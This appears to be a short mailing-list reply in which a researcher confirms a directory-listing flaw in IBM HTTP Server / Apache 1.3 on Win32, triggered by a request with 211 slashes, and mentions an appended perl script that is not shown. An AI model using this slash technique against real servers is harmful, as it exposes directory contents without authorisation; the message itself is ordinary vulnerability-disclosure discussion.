Re: IBM HTTP SERVER / APACHE

[hdm () SECUREAUSTIN COM (H D Moore)]

Hi,

I verified this on IBM_HTTP_SERVER/1.3.3 Apache/1.3.4-dev (Win32).  The
number of /'s needed were exactly the same number as Marek stated in his
original email (211 being the key number to retrieve an index listing).
Appended is an example perl script for finding _your_ magic number.  Is
this a bug merely in IBM HTTPD or Apache Win32 in general?  Does IBM set
some odd compile flag which triggers this bug in thier version?  Anyone
from the Apache group care to comment?
